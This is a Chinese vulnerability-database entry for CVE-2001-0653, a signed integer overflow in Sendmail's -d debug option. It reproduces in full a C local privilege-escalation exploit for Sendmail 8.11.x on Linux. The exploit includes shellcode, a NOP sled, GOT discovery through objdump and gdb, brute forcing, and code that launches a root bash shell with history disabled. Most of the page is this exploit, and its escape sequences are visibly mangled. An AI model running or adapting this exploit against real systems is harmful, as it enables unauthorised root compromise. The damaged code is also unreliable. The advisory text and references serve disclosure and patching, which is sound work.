Sendmail修改进程内存提升特权漏洞

Sendmail修改进程内存提升特权漏洞

漏洞ID 1106467 漏洞类型 未知
发布时间 2001-08-17 更新时间 2005-05-02
图片[1]-Sendmail修改进程内存提升特权漏洞-安全小百科CVE编号 CVE-2001-0653
图片[2]-Sendmail修改进程内存提升特权漏洞-安全小百科CNNVD-ID CNNVD-200109-100
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/21061
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200109-100
|漏洞详情
Sendmail8.10.0到8.11.5版本,以及8.12.0测试版存在漏洞。本地用户借助debugger(-d)命令行参数’category’部分的超大值修改进程内存并可能提升特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/3163/info
 
An input validation error exists in Sendmail's debugging functionality.
 
The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given.
 
Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

/*
 * sendmail 8.11.x exploit (i386-Linux) by [email protected] (sd@ircnet)
 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 * fixed by Marcin Bukowski <[email protected]>
 *
 * <insect> I'll change, and fix this code requested by friend
 *          for him
 *
 * -d specify depth of analysis (32) [bigger = more time]
 * -o change offset (-32000) [between 1000..-64000]
 * -v specify victim (/usr/sbin/sendmail) [suided binary]
 * -t specify temp directory (/tmp/.s11x)
 *
 * simply try to run an exploit without parameters
 * ---------------------------------------------------------------
 *
 */



#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
#include <wait.h>
#include <sys/stat.h>

#define SM "/usr/sbin/sendmail"

#define OBJDUMP "objdump"

#define GDB "gdb"

#define GREP "grep"

#define COPYCMD "/bin/cp"

#define RMCMD "/bin/rm"

#define OURDIR "/tmp/.s11x"

#define DLINE 
"%s -d %s 2> /dev/null | %s -B %d 
"mov.*%%.l,(%%e..,%%e..,1)" |
%s ".mov.*0x80.*,%%e..""

#define DLINEA OBJDUMP, vict, GREP, depth, GREP

#define BRUTE_DLINE 
"%s -d %s 2> /dev/null | %s 
".mov.*0x80.*,%%e..""

#define BRUTE_DLINEA OBJDUMP, vict, GREP

#define NOPLEN 32768

#define NOP 0x90

char shellcode[] =
"xebx0cx5bx31xc0x50x89xe1x89"
"xe2xb0x0bxcdx80xe8xefxffxffxff";

char scode[512];

char dvict[] = SM;

struct target {
 uint off;
 uint brk;
 uint vect;
};

unsigned int get_esp() {
 __asm__("movl %esp,%eax");
}

char ourdir[256] = OURDIR;

void giveup(int i) {
 char buf[256];
 sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null",
         RMCMD, ourdir);
 system(buf);
// printf("[*] removing temp directory - %sn",
//  ourdir);
 if (i >= 0) exit(i);
}

void sploit(char *victim, uint got, uint vect, uint ret) {
 unsigned char egg[sizeof(scode) + NOPLEN + 5];
 char s[512] = "-d";
 char *argv[3];
 char *envp[2];
 uint first, last, i;

 strcpy(egg, "EGG=");
 memset(egg + 4, NOP, NOPLEN);
 strcpy(egg + 4 + NOPLEN, scode);
 last = first = -vect - (0xffffffff - got + 1);
 while (ret) {
  char tmp[256];
  i = ret & 0xff;
  sprintf(tmp, "%u-%u.%u-", first, last, i);
  strcat(s, tmp);
  last = ++first;
  ret = ret >> 8;
 }
 s[strlen(s) - 1] = 0;
 argv[0] = victim;
 argv[1] = s;
 argv[2] = NULL;
 envp[0] = egg;
 envp[1] = NULL;
 execve(victim, argv, envp);
}

int use(char *s) {
 printf("n%s [command] [options]n"
        "-h this helpn"
        "-d specify depth of analysis (32)n"
        "-o change offset (-32000)n"
        "-v specify victim (/usr/sbin/sendmail)n"
        "-t specify temp directory (/tmp/.s11x)n"
        "-b enables bruteforce (it can take 20-30 mins)n", s);
 return 1;
}

int exploited = 0;

void sigusr(int i) {
 exploited++;
 giveup(-1);
}

int main(int argc, char *argv[]) {
 char victim[256] = SM;
 char vict[256],gscr[256],
      path[256],d[256],buf[256];
 struct stat st;
 FILE *f;
 struct target t[1024];
 uint off,ep,l;
 int i,j,got,esp;
 int offset = -16384;
 int depth = 32;
 int brute = 0;

 if (!*argv) {
  dup2(2, 0);
  dup2(2, 1);
  setuid(0);
  setgid(0);
  kill(getppid(), SIGUSR1);
  printf(
   "------(*)>+== "
   "ENTERING ROOT SHELL"
   " ==+<(*)------"
   );
  fflush(stdout);
  chdir("/");
  setenv("PATH",
   "/bin:/usr/bin:/usr/local/bin:"
   "/sbin:/usr/sbin:/usr/local/sbin:"
   "/opt/bin:${PATH}",1);
  setenv("BASH_HISTORY",
   "/dev/null", 1);
  execl("/bin/bash", "-bash", NULL);
 }
 printf(
  "  ------------------------------------------------n"
  "   Sendmail 8.11.x linux i386 exploit  n"
  "                  wroten by [email protected] [sd@ircnet], n"
  "                   fixed by [email protected] n"
  "  ------------------------------------------------n"
  "   type "%s -h" to get helpn",argv[0]
 );

while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
 switch (i) {
  case 'd':
   if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
    return use(argv[0]);
  break;
  case 'o':
   if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
    return use(argv[0]);
  break;
  case 'v':
   if (!optarg)
    return use(argv[0]);
   strcpy(victim,optarg);
  break;
  case 't':
   if (!optarg)
    return use(argv[0]);
   strcpy(ourdir, optarg);
  break;
  case 'b':
   brute++;
  break;
  case 'h':
  default:
   return use(argv[0]);
 }
}
 if (brute)
  printf(
   "[*] brute force "
   "to 20-30minsn");
 path[0] = 0;
 if (argv[0][0] != '/') {
  getcwd(path, 256);
 }
 sprintf(scode, "%s%s/%s",
    shellcode, path, argv[0]);
 esp = get_esp();
 close(0);
 signal(SIGUSR1, sigusr);
 giveup(-1);
 printf(
  " [Victim=%s][Depth=%d][Offset=%d]n"
  " [Temp=%s][Offset=%d][ESP=0x%08x]n",
   victim, depth, offset, ourdir, esp
 );
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
 printf("[!] Error: %s doesn't have SUID moden",
        victim);
}
if (access(victim, R_OK + X_OK + F_OK) < 0) {
 printf("[!] Error: %s must exist, have mode +rxn",
        victim);
}
if (mkdir(ourdir, 0777) < 0) {
 perror("[!] Error: creating temporary directoryn");
 giveup(1);
}
//printf("[*] creating temp directory - %sn",
//      ourdir);
sprintf(buf, "%s -R %s | %s setuid",
        OBJDUMP, victim, GREP);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
 pclose(f);
 printf("[!] Error: cannot get "
        "setuid() GOTn");
 giveup(1);
}
 pclose(f);
 printf("[*] --> Step 1. setuid() "
        "[got=0x%08x]n", got);
 sprintf(vict, "%s/sm", ourdir);
 printf("[*] --> Step 2. copy "
        "[%s->%s]n", victim, vict);
 fflush(stdout);
 sprintf(buf, "%s -f %s %s",
         COPYCMD, victim, vict);
 system(buf);
 if (access(vict,R_OK+X_OK+F_OK)<0){
  printf(
   "[!] Error: copy victim to out tempn");
  giveup(1);
 }

 printf(
    "[*] --> Step 3. disassm our "
    "[%s]n", vict);
 fflush(stdout);
 if (!brute) {
  sprintf(buf,DLINE,DLINEA);
 } else {
  sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
 }
 f = popen(buf, "r");
 i = 0;
 while (fgets(buf,256,f)) {
  int k, dontadd=0;
  if (sscanf(buf,
       "%x: %s %s %s %s %s %s 0x%x,%sn",
        &ep,d,d,d,d,d,d,&off,d)==9){
   for (k=0;k<i;k++){
    if (t[k].off==off)
     dontadd++;
   }
   if (!dontadd) {
    t[i].off = off;
    t[i++].brk = ep;
   }
  }
 }
 pclose(f);
 sprintf(gscr, "%s/gdb", ourdir);
 off = 0;
 for (j=0; j < i; j++) {
  f = fopen(gscr, "w+");
  if (!f) {
   printf("[!] Error: Cannot create gdb scriptn");
   giveup(1);
  }
  fprintf(f,
    "break *0x%xnr -d1-1.1nx/x 0x%xn",
    t[j].brk, t[j].off);
  fclose(f);
  sprintf(buf,
    "%s -batch -x %s %s 2> /dev/null",
    GDB, gscr, vict);
  f = popen(buf, "r");
  if (!f) {
   printf("[!] Error: Failed to spawn gdb!n");
   giveup(1);
  }
  while (1) {
   char buf[256];
   char *p;
   t[j].vect = 0;
   p = fgets(buf, 256, f);
   if (!p) break;
   if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
    t[j].vect = l;
    off++;
    break;
   }
  }
  pclose(f);
  if (t[j].vect) {
   int pid;
   printf(" ++[%d/%d](%d%%) "
          "GOT=0x%08x,VECT=0x%08x,"
          "OFF=%dn", j, i, j*100/i,
          got, t[j].vect, offset);
   fflush(stdout);
   pid = fork();
   if (pid == 0) {
    close(1);
    sploit(victim,got,t[j].vect,esp+offset);
   }
   wait(NULL);
   if (exploited) {
    wait(NULL);
    printf("        [-*-] We rule! BYE! [-*-]n");
    exit(0);
   }
  }
 }
 printf(
  "[!] ERROR: all targets failed,"
  "probably not buggien");
 giveup(1);
}
|参考资料

来源:BID
名称:3163
链接:http://www.securityfocus.com/bid/3163
来源:BUGTRAQ
名称:20010821*ALERT*UPDATEDBID3163(URGENCY6.58):SendmailDebuggerArbitraryCodeExecutionVulnerability(fwd)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=99841063100516&w;=2
来源:www.sendmail.org
链接:http://www.sendmail.org/8.11.html
来源:XF
名称:sendmail-debug-signed-int-overflow(7016)
链接:http://xforce.iss.net/static/7016.php
来源:HP
名称:HPSBTL0112-007
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=HPSBTL0112-007
来源:SUSE
名称:SuSE-SA:2001:028
链接:http://www.novell.com/linux/security/advisories/2001_028_sendmail_txt.html
来源:MANDRAKE
名称:MDKSA-2001:075
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-075.php3
来源:CIAC
名称:L-133
链接:http://www.ciac.org/ciac/bulletins/l-133.shtml
来源:CALDERA
名称:CSSA-2001-032.0
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2001-032.0.txt
来源:REDHAT
名称:RHSA-2001:106
链接:http://rhn.redhat.com/errata/RHSA-2001-106.html
来源:IMMUNIX
名称:IMNX-2001-70-032-01
链接:http://download.immu

相关推荐: WpQuiz 借助附加目录中对adminrestore.php的直接请求提升特权 WpQuiz提升特权漏洞

WpQuiz 借助附加目录中对adminrestore.php的直接请求提升特权 WpQuiz提升特权漏洞 漏洞ID 1201462 漏洞类型 未知 发布时间 2004-07-30 更新时间 2004-07-30 CVE编号 CVE-2004-1704 CNN…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享